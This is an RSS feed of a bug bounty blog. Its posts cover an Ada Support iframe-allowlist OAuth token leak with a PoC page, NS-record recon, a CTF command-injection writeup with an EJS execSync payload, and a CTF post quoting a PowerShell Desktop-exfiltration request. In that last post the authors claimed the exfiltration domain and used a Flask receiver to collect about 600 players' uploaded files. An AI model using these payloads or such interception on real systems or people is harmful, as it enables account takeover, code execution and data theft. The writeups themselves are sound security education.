<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Yoeri Vegt]]></title><description><![CDATA[My Bug Bounty adventures!]]></description><link>https://yoerivegt.com/</link><image><url>https://yoerivegt.com/favicon.png</url><title>Yoeri Vegt</title><link>https://yoerivegt.com/</link></image><generator>Ghost 5.79</generator><lastBuildDate>Wed, 27 Aug 2025 14:31:05 GMT</lastBuildDate><atom:link href="https://yoerivegt.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage]]></title><description><![CDATA[This blog details a flaw in Ada Support’s iframe allowlist where an unclaimed domain was still trusted. Attackers could register it, embed the real support chat, steal OAuth tokens and transcripts, and fully compromise sessions. It stresses monitoring allowlist domains to prevent such risks.]]></description><link>https://yoerivegt.com/abuse-of-misconfigured-ada-support-iframe-allowlist-leads-to-oauth-token-leakage/</link><guid isPermaLink="false">68a0876d0519ed0a3222519f</guid><category><![CDATA[hackerone]]></category><category><![CDATA[bug]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Wed, 27 Aug 2025 13:26:04 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1754901350791-04eff8b6289c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDExfHx8fHx8fHwxNzU1MzUxMDQ3fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><img src="https://images.unsplash.com/photo-1754901350791-04eff8b6289c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDExfHx8fHx8fHwxNzU1MzUxMDQ3fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" alt="Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage"><p>During a recent bug bounty session of testing a support chat system, I discovered a misconfiguration in the Ada Support iframe allowlist. This issue could be exploited to steal OAuth tokens and sensitive user data.</p><p>Ada Support allows companies to embed its AI-powered chat widget on their websites via <code>embed2.js</code>. To prevent abuse, Ada Support uses an iframe allowlist that defines which domains can embed a particular company&#x2019;s support chat. </p><p>Unfortunately, one of the domains in this allowlist was left unclaimed, making it possible for an attacker to register the domain and host a malicious proof-of-concept (PoC).</p><h2 id="vulnerability-overview">Vulnerability Overview</h2><p>The chat widget in question was tied to an e-commerce platform&#x2019;s customer support system. By registering the unclaimed domain <code>randomdomainname123.com</code>, it became possible to:</p><ol><li>Embed the official Ada Support widget on the attacker-controlled domain.</li><li>Trick users into interacting with the real customer support chat.</li><li>Capture OAuth access tokens, refresh tokens, and chat transcripts once the user authenticated via the legitimate login flow.</li></ol><p>Since the chat system integrates directly with the company&#x2019;s oauth login system, this allowed full takeover of a victim&#x2019;s authenticated session.</p><h2 id="proof-of-concept">Proof of Concept</h2><p>A PoC was hosted on the claimed domain:</p><p><code>http://randomdomainname123.com/poc.html</code>:</p><pre><code class="language-html">&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot; /&gt;
    &lt;title&gt;Ada PoC&lt;/title&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&gt;
    &lt;style&gt;body{font-family:system-ui,Arial,sans-serif;margin:2rem}&lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Ada PoC on claimed domain&lt;/h1&gt;
    &lt;p&gt;This page loads the target&#x2019;s Ada web chat.&lt;/p&gt;

    &lt;!-- Ada Embed2 loader (use the exact snippet from Installation tab) --&gt;
    &lt;script id=&quot;ada-config&quot; data-nscript=&quot;afterInteractive&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;//static.ada.support/embed2.js&quot; async=&quot;true&quot; id=&quot;__ada&quot; data-handle=&quot;[company-name]&quot; data-nscript=&quot;afterInteractive&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        window.adaSettings = window.adaSettings || {};
        window.adaSettings.adaReadyCallback = () =&gt; {
                window.adaEmbed.subscribeEvent(&quot;ada:end_conversation&quot;, (data, context) =&gt; {
                        console.log(&quot;The conversation has been ended by the user.&quot;);
                        console.log(&quot;Chatter ID: &quot;, data.chatter_id);
                        console.log(&quot;Chat Data: &quot;, data.event_data);
                        console.log(&quot;Chat Transcript: &quot;, data.event_data.chatter_transcript);
                        document.body.innerText = JSON.stringify(data.event_data, null, 2);
                });
        };
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre><p>As you can see, when the ada support chat is closed, the chat data (<code>data.event_data</code>) is dumped to the console. This event data contains the oauth authentication bearer tokens.</p><h3 id="steps-to-reproduce">Steps to Reproduce:</h3><ol><li>Navigate to the PoC URL.</li><li>Start a support chat as a &#x201C;normal&#x201D; user.</li><li>When prompted to log in (via the OAuth flow), complete the login process.</li><li>After ending the chat, sensitive data such as <strong>access tokens</strong>, <strong>refresh tokens</strong>, and <strong>chat transcripts</strong> were logged to the console and displayed in the page&#x2019;s innerHTML for easy demonstration.</li></ol><p>This effectively bypassed intended protections by leveraging Ada&#x2019;s trust in an outdated/unmonitored allowlist domain.</p><p>The dumped object with the access tokens looked something like this, where the access token and id token were authentication tokens for my target:</p><pre><code class="language-json">{
  &quot;user_data&quot;: {
    &quot;all_data&quot;: {
      &quot;initialurl&quot;: &quot;http://randomdomainname123.com/poc.html&quot;,
      &quot;access_token&quot;: &quot;eyJh...&quot;,
      &quot;id_token&quot;: &quot;eyJh...&quot;,
      &quot;refresh_token&quot;: &quot;0d...&quot;,
      &quot;auth_token_type&quot;: &quot;Bearer&quot;,
      &quot;auth_scope&quot;: &quot;[&apos;openid&apos;, &apos;profile&apos;, &apos;email&apos;, &apos;offline_access&apos;]&quot;
    },
    &quot;event_name&quot;: &quot;END_CONVERSATION&quot;
  }
}</code></pre><h2 id="technical-details">Technical Details</h2><h3 id="allowed-domains-leak">Allowed Domains Leak</h3><p>Ada Support provides a JSON configuration endpoint that shows the domains allowed to embed a given chat system. For this instance, the list was available at:</p><p><code>https://rollout.ada.support/[company-name]/client.json?ada_request_origin=embed</code><br></p><p>Searching within that configuration revealed:</p><pre><code class="language-json">&quot;allowed_domains&quot;: [
  &quot;company.com&quot;,
  &quot;alloweddomain.net&quot;,
  &quot;randomdomainname123.com&quot;,
  ...
]</code></pre><p>Since <code>randomdomainname123.com</code> was not owned by the company, it could be registered and exploited.</p><h3 id="conclusion">Conclusion</h3><p>By claiming an overlooked allowlist domain, attackers could steal access tokens and sensitive user data through a legitimate-appearing customer support chat.</p><p>Although exploiting this issue required several user interactions (visiting my site, engaging with the chat, and going through the login flow), I found the bug particularly interesting, as OAuth token leaks through third-party widgets isn&apos;t something I&apos;ve ever come across. By reporting this bug to some bug bounty programs, I&apos;ve earned a nice bit of cash.</p><p>Always monitor and verify the security of domains listed in allowlists. An expired or unclaimed entry may be all an attacker needs to compromise your users.</p>]]></content:encoded></item><item><title><![CDATA[Unveiling more attack surface using matching NS records]]></title><description><![CDATA[Discover hidden domains for bug bounty targets by analyzing NS records and using an API to lookup matching domains.]]></description><link>https://yoerivegt.com/unveiling-more-attack-surface-using-ns/</link><guid isPermaLink="false">674391b70519ed0a32225144</guid><category><![CDATA[DNS]]></category><category><![CDATA[ns]]></category><category><![CDATA[Attack surface]]></category><category><![CDATA[recon]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[web app]]></category><category><![CDATA[web hacking]]></category><category><![CDATA[bug]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Sun, 24 Nov 2024 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1730459024772-5eed9b324e90?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDE0fHx8fHx8fHwxNzMyNDgyMjEwfA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1730459024772-5eed9b324e90?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDE0fHx8fHx8fHwxNzMyNDgyMjEwfA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" alt="Unveiling more attack surface using matching NS records"><p>Hey everyone!</p><p>I&apos;m always on the lookout for new techniques to expand the attack surface for my bug bounty targets. While reviewing my old notes, I came across a very interesting and, as far as I know, unique method for discovering domain names owned by companies.</p><h1 id="short-introduction">Short introduction</h1><p>Every domain has it&apos;s own NS records. NS records tell the Internet where to go to find out a domain&apos;s IP address. Companies may own many domains, which not all of them have the company&apos;s name in their domain name. We can find them, by reverse-searching those Name Servers. </p><p>Every domain has its own NS (Name Server) records. These records tell the Internet where to look to find a domain&apos;s IP address. Companies often own multiple domains, many of which may not include the company&apos;s name in their URLs. However, we can uncover these domains by performing a reverse search on their Name Servers. It&apos;s quite cool!</p><h1 id="poc-gtfo">PoC || GTFO</h1><p>Let&#x2019;s get hands-on! For this example, I&#x2019;ll be using <strong><code>hackerone.com</code></strong> as the target. First, we need to retrieve the Name Server (NS) records for <code><strong>hackerone.com</strong></code>. This can be done using the <code>dig</code> tool:</p><pre><code class="language-bash">dig ns hackerone.com</code></pre><p>This commands returns two ns records in the <code>ANSWERS</code> section:</p><pre><code>;; ANSWER SECTION:
hackerone.com.          86400   IN      NS      a.ns.hackerone.com.
hackerone.com.          86400   IN      NS      b.ns.hackerone.com.</code></pre><p>The NS records returned are <strong><code>a.ns.hackerone.com</code></strong> and <strong><code>b.ns.hackerone.com</code></strong>. These are unique to our target company, which is a fortunate scenario for us. However, in some cases, you might encounter shared Name Servers, such as those provided by Akamai. When that happens, it becomes nearly impossible to determine which domains belong to a specific company.</p><p>Let&apos;s continue! We can use these two nameservers with the <code>sharedns.asp.gg</code> api, to find out what other domains belong to these NS&apos;:</p><pre><code class="language-bash">curl -s -H &apos;Content-Type: application/json&apos; --data-raw &apos;{&quot;name_servers&quot;:[&quot;a.ns.hackerone.com&quot;,&quot;b.ns.hackerone.com&quot;]}&apos; https://sharedns.asp.gg/api/v1/search | jq</code></pre><p>This query, in my case, returned a total of 815 unique domain names. Here are a few examples:</p><blockquote>breaker101.com<br>wearehackebone.com<br>theinternetbugbounty.com<br>inverselink.com<br>together-we-hit-harder.com<br>zerodaily.net</blockquote><p>and many other cool ones! Go give it a try yourself! </p><h1 id="outro">Outro</h1><p>As you can imagine, this API can be incredibly powerful. For instance, Cloudflare assigns each customer a (mostly) unique set of NS records, which works to our advantage! However, as mentioned earlier, some providers use shared NS records. In those cases, it becomes impossible to determine which domains are owned by a specific company.</p><p>I highly recommend exploring this API on your own, as it offers significant potential for uncovering valuable information. However, always use it responsibly! Additionally, keep in mind that I don&#x2019;t own this API, so exercise caution with any data you send to it.</p><p>Cheers! Have fun!&#x1F389;</p><p><a href="https://aasdfasdfasddf.s3.amazonaws.com/?ref=yoerivegt.com"><code>https://aasdfasdfasddf.s3.amazonaws.com/</code></a></p><p><a href="https://aasdfasdfasddf.s3.amazonaws.com/?ref=yoerivegt.com">https://aasdfasdfasddf.s3.amazonaws.com/</a></p><blockquote>dream big</blockquote>]]></content:encoded></item><item><title><![CDATA[YesWeHack Dojo 35 - Chatroom]]></title><description><![CDATA[My writeup of the YesWeHack #35 chatroom challenge.]]></description><link>https://yoerivegt.com/yeswehack-dojo-35/</link><guid isPermaLink="false">66cc90b20519ed0a32225114</guid><category><![CDATA[ctf]]></category><category><![CDATA[hacking]]></category><category><![CDATA[web hacking]]></category><category><![CDATA[web app]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[yeswehack]]></category><category><![CDATA[bug]]></category><category><![CDATA[dojo]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Sat, 21 Sep 2024 12:00:40 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1724105266499-fceb8fbe7bb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDYwfHx8fHx8Mnx8MTcyNDY4MjgxOXw&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1724105266499-fceb8fbe7bb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDYwfHx8fHx8Mnx8MTcyNDY4MjgxOXw&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" alt="YesWeHack Dojo 35 - Chatroom"><p>In this post, I&apos;ll be describing the exploitation of the <a href="https://dojo-yeswehack.com/challenge-of-the-month/dojo-35?ref=yoerivegt.com" rel="noreferrer">YesWeHack dojo #35</a>, called Chatroom.</p><h1 id="description">Description</h1><p>Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.</p><p>In the context of this application, Dojo-35, the vulnerability lays in the fact that user input was being set as a filename, making it possible to path traverse. Abusing that, we could overwrite a file which was being imported and executed by the application, to gain Remote Code Execution on the target.</p><p></p><h1 id="exploitation">Exploitation</h1><p>First of all, looking at the Message class in the code, we can see a variable being used to set a file path. The&#xA0;<code>this.to</code>&#xA0;variable is used to set the file path name, whilst the&#xA0;<code>this.msg</code>&#xA0;is being used to set the contents of the file:</p><pre><code class="language-javascript">class Message {
...
    makeDraft() {
        this.file = path.basename(`${Date.now()}_${this.to}`)
        fs.writeFileSync(this.file, this.msg)
    }
...
}</code></pre><p>This path variable later gets read out by the&#xA0;<code>getDraft()</code>&#xA0;function:</p><pre><code class="language-js">    getDraft() {
        return fs.readFileSync(this.file)
    }
</code></pre><p>The&#xA0;<code>this.to</code>&#xA0;variable gets set from a json object, which is the Dojo&apos;s input, which gets send to the&#xA0;<code>Message</code>&#xA0;class:</p><pre><code class="language-js">const userData = decodeURIComponent(&quot;input&quot;)

var data = {&quot;to&quot;:&quot;&quot;, &quot;msg&quot;:&quot;&quot;}
if ( userData != &quot;&quot; ) {
    try {
        data = JSON.parse(userData)
    } catch(err) {
        console.error(&quot;Error : Message could not be sent!&quot;)
    }
}

var message = new Message(data[&quot;to&quot;], data[&quot;msg&quot;])
</code></pre><p>Due to the&#xA0;<code>to</code>&#xA0;variable being used in the path variable, it&apos;s possible to perform a path traversal, with for example the following payload:&#xA0;<code>a/../../../../../../../../tmp/flag.txt</code><br>However, when setting this as the&#xA0;<code>to</code>&#xA0;input variable, it simply overwrites the flag file, rendering it useless for us.</p><p>To further abuse this path traversal vulnerability, we can abuse the last line of the dojo:</p><pre><code class="language-js">console.log( ejs.render(fs.readFileSync(&apos;index.ejs&apos;, &apos;utf8&apos;), {message: message.msg}) )</code></pre><p>This piece of code imports the&#xA0;<code>./index.ejs</code>&#xA0;file, and &quot;renders&quot; it with ejs. The contents of the file gets set with the&#xA0;<code>msg</code>&#xA0;input variable. Glueing this together, we can path traverse to&#xA0;<code>./index.js</code>, and set the contents of the file to be a EJS payload which reads out the flag file, by executing a system command.</p><p></p><h1 id="pocgtfo">PoC||gtfo</h1><p>My Proof of Concept payload is the following:</p><pre><code class="language-json">{&quot;to&quot;:&quot;a/../index.ejs&quot;, &quot;msg&quot;:&quot;&lt;%=global.process.mainModule.constructor._load(`child_process`).execSync(`cat /tmp/flag.txt`).toString()%&gt;&quot;}
</code></pre><p>So we use the&#xA0;<code>to</code>&#xA0;input variable to path traverse over to the&#xA0;<code>./index.ejs</code>&#xA0;file, and set the contents of that file to some executable EJS script, to gain command execution on the application.</p><p>This Proof of Concept payload cats out the&#xA0;<code>/tmp/flag.txt</code>&#xA0;file:</p><pre><code>FLAG{W1th_Cr34t1vity_C0m3s_RCE!!}
</code></pre><h1 id="risk">Risk</h1><p>The risk of Remote Code Execution, are, and not limited to: data theft, system compromise, denial of service, reputation damage.</p><p>These risks can lead to significant financial loss, operational disruption, and legal consequences. RCE vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, take control of systems, disrupt services, and damage an organization&apos;s reputation.</p><p></p><h1 id="remediation">Remediation</h1><p>To remedate this vulnerable, there are a few options:</p><ol><li>You can set a&#xA0;<strong>server side</strong>&#xA0;check whether the&#xA0;<code>to</code>&#xA0;input variable only contains letters and numbers, for example this regex check:&#xA0;<code>[a-zA-Z0-9_-]*</code></li><li>Instead of writing data to a file, write it to a database, like Mysql or PostgreSQL, however, you should make sure to&#xA0;<strong>prevent SQL injections</strong>&#xA0;if you choose for this method</li><li>You can save the draft message client side, on the user&apos;s browser. This way, this vulnerability wouldn&apos;t exist, and you save bandwidth.</li></ol><p></p><p>Thanks for reading!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://yoerivegt.com/content/images/2024/08/image.png" class="kg-image" alt="YesWeHack Dojo 35 - Chatroom" loading="lazy" width="1908" height="936" srcset="https://yoerivegt.com/content/images/size/w600/2024/08/image.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/08/image.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/08/image.png 1600w, https://yoerivegt.com/content/images/2024/08/image.png 1908w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">the flag shown in the Dojo</span></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Winning NahamCon Pre-CTF 2024!]]></title><description><![CDATA[<p>Just a very short brag. </p><p>Me and my team <a href="https://discord.gg/CFYQxSGh3B?ref=yoerivegt.com" rel="noreferrer">SQLKinkjection</a> managed to claim the first spot in the <a href="https://www.nahamcon.com/?ref=yoerivegt.com" rel="noreferrer">NahamCon</a> Pre-CTF! I&apos;m incredibly proud of this achievement. Thanks for Ben (aka <a href="https://nahamsec.com/?ref=yoerivegt.com" rel="noreferrer">Nahamsec</a>) for creating this awesome event!</p><p>That&apos;s it, thanks!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/09/XZF3aKi.png" class="kg-image" alt loading="lazy" width="979" height="478" srcset="https://yoerivegt.com/content/images/size/w600/2024/09/XZF3aKi.png 600w, https://yoerivegt.com/content/images/2024/09/XZF3aKi.png 979w" sizes="(min-width: 720px) 720px"></figure><p></p><p></p>]]></description><link>https://yoerivegt.com/winning-nahamcon-pre-ctf-2024/</link><guid isPermaLink="false">664a6e310519ed0a322250f4</guid><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Tue, 21 May 2024 16:16:03 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/05/OIG2.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://yoerivegt.com/content/images/2024/05/OIG2.jpeg" alt="Winning NahamCon Pre-CTF 2024!"><p>Just a very short brag. </p><p>Me and my team <a href="https://discord.gg/CFYQxSGh3B?ref=yoerivegt.com" rel="noreferrer">SQLKinkjection</a> managed to claim the first spot in the <a href="https://www.nahamcon.com/?ref=yoerivegt.com" rel="noreferrer">NahamCon</a> Pre-CTF! I&apos;m incredibly proud of this achievement. Thanks for Ben (aka <a href="https://nahamsec.com/?ref=yoerivegt.com" rel="noreferrer">Nahamsec</a>) for creating this awesome event!</p><p>That&apos;s it, thanks!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/09/XZF3aKi.png" class="kg-image" alt="Winning NahamCon Pre-CTF 2024!" loading="lazy" width="979" height="478" srcset="https://yoerivegt.com/content/images/size/w600/2024/09/XZF3aKi.png 600w, https://yoerivegt.com/content/images/2024/09/XZF3aKi.png 979w" sizes="(min-width: 720px) 720px"></figure><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[How we turned a challenge against the players and creators - Nahamcon CTF 2023]]></title><description><![CDATA[<h2 id="about-the-challenge">About the Challenge</h2><p>During the process of deobfuscating the powershell payload from <a href="https://github.com/SQLKinkjection/Writeups/blob/main/2023/nahamcon/Forensics/IR/IR.md?ref=yoerivegt.com" rel="noreferrer">the IR challenge</a>, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here&apos;s an explanation of how we received hundreds of decryptable files the CTF players sent</p>]]></description><link>https://yoerivegt.com/how-we-turned-a-challenge-against-the-players-and-creators-nahamctf-2023/</link><guid isPermaLink="false">65f405480519ed0a322250db</guid><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Fri, 15 Mar 2024 08:29:14 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/03/OIG1.jpeg" medium="image"/><content:encoded><![CDATA[<h2 id="about-the-challenge">About the Challenge</h2><img src="https://yoerivegt.com/content/images/2024/03/OIG1.jpeg" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023"><p>During the process of deobfuscating the powershell payload from <a href="https://github.com/SQLKinkjection/Writeups/blob/main/2023/nahamcon/Forensics/IR/IR.md?ref=yoerivegt.com" rel="noreferrer">the IR challenge</a>, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here&apos;s an explanation of how we received hundreds of decryptable files the CTF players sent us by running the encrypter.</p><h2 id="how-we-did-it">How we did it</h2><p>After we deobfuscated the first stage of the payload, we stumbled across this powershell code:<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/PowershellCode.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="2000" height="1056" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/PowershellCode.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/03/PowershellCode.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/03/PowershellCode.png 1600w, https://yoerivegt.com/content/images/2024/03/PowershellCode.png 2200w" sizes="(min-width: 720px) 720px"></figure><p>In the second-last line, you can see the following piece of powershell code:</p><pre><code class="language-ps">Invoke-Webrequest -Method Post -Uri &quot;https://www.thepowershellhacker.com/exfiltration&quot; -Body $body
</code></pre><hr><p>This line sends a variable called <code>body</code> to <code>www.thepowershellhacker.com/exfiltration</code> in a post request.</p><p>The variable <code>body</code> is specified a bit earlier in the code:</p><pre><code class="language-ps">$zipFileBytes = Get-Content -Path (&quot;C:\Users\&quot;+$user+&quot;\Downloads\Desktop.zip&quot;) -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
</code></pre><p>Here we can clearly see that a zip file from the desktop (containing every file from the desktop) gets encoded in Base64, and then transferred into a Json object.</p><hr><p>Out of curiosity, we quickly checked if the domain <code>thepowershellhacker.com</code> was claimed, expecting it to be.</p><p>However, to our surprise, it wasn&apos;t!<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/claimed.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="838" height="319" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/claimed.png 600w, https://yoerivegt.com/content/images/2024/03/claimed.png 838w" sizes="(min-width: 720px) 720px"></figure><p><em>A Dutch website to check if the domain is available for sale.</em></p><h2 id="what-now">What now?</h2><hr><p>After we claimed the domain, we went ahead and set up a python web server, which would listen for incoming requests:</p><pre><code class="language-python">from flask import Flask, request, jsonify
import time

app = Flask(__name__)

@app.route(&apos;/exfiltration&apos;, methods=[&apos;POST&apos;])
def result():

    fileName = str(time.time()) + &apos;.base64.zip&apos;
    f = open(fileName, &apos;w+&apos;)

    receivedFile = request.get_json(force=True)[&apos;file&apos;]
    f.write(receivedFile)

    f.close()
    return &quot;&quot;, 200

if __name__ == &apos;__main__&apos;:
    app.run(host=&quot;127.0.0.1&quot;, port=2001)
</code></pre><p>This python web server would receive the base64 encoded payload from the body, pull it out of the json object, and put it in a file.</p><h2 id="what-did-we-receive">What did we receive?</h2><p>After the Nahamcon CTF ended, we went ahead and checked how many files we received:<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/results.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="756" height="62" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/results.png 600w, https://yoerivegt.com/content/images/2024/03/results.png 756w" sizes="(min-width: 720px) 720px"></figure><p>We received a total of 600 files, that&apos;s insane!<br>Sadly, after mass decrypting all the files we received, we came to the conclusion that there are <em>only</em> 33 files that are from something other than this ctf.<br>Here&apos;s a list of all the files that were not part of the CTF challenge:</p><pre><code>Ableton Live 11 Suite.lnk
asdf
ASDF
asdf.ps1
Autoruns.lnk
available_packages.txt
Bitdefender.lnk
config.xml
desktop.ini
failed_packages.txt
fakenet_logs.lnk
file.txt
flare-vm-4
Ghost Toolbox.lnk
HitmanPro.Alert.lnk
imac.py
kanker.txt
New Text Document.txt
nice.ps1
NPE.lnk
ProcessExplorer.lnk
PSDecode.ps1
QQ.lnk
readme.txt
TCPView.lnk
Telegram.lnk
test.txt
tes.txt
Tools.lnk
UpdateHealthTools.001.etl
UpdateHealthTools.001.evtx
x32dbg.lnk
x64dbg.lnk
</code></pre><p>A lot of these files end in <code>.lnk</code>, which means they are windows file shortcuts. They&apos;re not interesting.</p><p>After manually going through all the files, we concluded that nothing really of interest was captured. This means that almost everyone was smart enough to not run this on their own desktop environment but in the VM supplied by the Nahamcon CTF.</p><p>We&apos;d also like to note that we didn&apos;t receive anything that could be identified back to a specific users, nor did we receive any sensitive files. Next to that, we&apos;ll destroy all the files and logs we&apos;ve received.</p><h2 id="was-this-a-waste-of-time">Was this a waste of time?</h2><p>No, this absolutely wasn&apos;t a waste of our time and resources. First of all, the CTF challenge in itself was already pretty fun to solve. Next to that, we quite enjoyed the process of making all of our quick and dirty tools. From the python web server, to the mass decoders. We&apos;re also delighted to see that almost everyone ran the &quot;ransomware&quot; in the Virtual Machine supplied by the CTF organizers, and not on their own machine.</p><p>We absolutely loved the process we went through by making this.</p><h2 id="avoiding-such-problems-in-the-future">Avoiding such problems in the future</h2><p>Adding web requests to a CTF challenge can add flavour and make it more engaging, but how to best avoid such mistakes?</p><ul><li>First of all, make sure you have full control over the domain or IP you include in the challenge.</li><li>However, if that&apos;s not feasible, using a non-existent TLD, like <code>hacker.d0main</code> makes it impossible for someone to claim such a domain.</li><li>Eventually, one can include an IPv4 address that starts with <code>127</code>. For example, 127.13.65.78 and 127.84.65.183 both point to localhost, making sure the requests won&apos;t leave the competitor&apos;s machine.</li></ul><hr><blockquote><em>We want to thank Nahamsec and John Hammond for making and hosting this Capture the Flag tournament. And we&apos;d also like to thank <code>@awesome10billion#1164</code> for making the forensics challenge. We quite enjoyed it.</em></blockquote><h6 id="written-by-yoeri-chillz">Written by Yoeri &amp; <a href="https://viberunner.xyz/?ref=yoerivegt.com">Chillz</a></h6>]]></content:encoded></item><item><title><![CDATA[Wizer CTF - Recipe Book - Alert and Beyond!]]></title><description><![CDATA[My writeup of the Wizer CTF Recipe Book challenge.]]></description><link>https://yoerivegt.com/wizer-ctf-recipe-book/</link><guid isPermaLink="false">65c2141351765a51c7809708</guid><category><![CDATA[ctf]]></category><category><![CDATA[service workers]]></category><category><![CDATA[service]]></category><category><![CDATA[workers]]></category><category><![CDATA[wizer]]></category><category><![CDATA[wizer ctf]]></category><category><![CDATA[beyond]]></category><category><![CDATA[beyond the flag]]></category><category><![CDATA[beyond root]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Tue, 06 Feb 2024 14:22:15 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/02/_69d8fa46-2448-4e80-ad78-4ed7b41ec39a.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://yoerivegt.com/content/images/2024/02/_69d8fa46-2448-4e80-ad78-4ed7b41ec39a.jpg" alt="Wizer CTF - Recipe Book - Alert and Beyond!"><p>One of my favorite Wizer CTF challenges was the Recipe Book challenge. You were served a quite small Node.js web app where you had to pop a JavaScript alert through postmessages and web workers. Although it seems like a weird combo, it was quite realistic and interesting! </p><p>I actually decided to go a step further than just the alert through postmessages, and eventually got full control over the content of the page. </p><p>Have fun reading my writeup!</p><h2 id="solving-the-challenge">Solving the challenge</h2><h3 id="recon">Recon</h3><p>We were first met with an <code>app.js</code> file in the challenge dashboard:</p><pre><code class="language-javascript">const express = require(&apos;express&apos;);
const helmet = require(&apos;helmet&apos;);
const app = express();
const port = 80;

// Serve static files from the &apos;public&apos; directory
app.use(express.static(&apos;public&apos;));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: [&quot;&apos;self&apos;&quot;],
        scriptSrc: [&quot;&apos;self&apos;&quot;, ],
        styleSrc: [&quot;&apos;self&apos;&quot;, &quot;&apos;unsafe-inline&apos;&quot;, &apos;maxcdn.bootstrapcdn.com&apos;],
        workerSrc: [&quot;&apos;self&apos;&quot;]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: &quot;Spaghetti Carbonara&quot;,
        ingredients: &quot;Pasta, eggs, cheese, bacon&quot;,
        instructions: &quot;Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.&quot;,
        image: &quot;spaghetti.jpg&quot;
    },
    {
        id: 2,
        title: &quot;Chicken Alfredo&quot;,
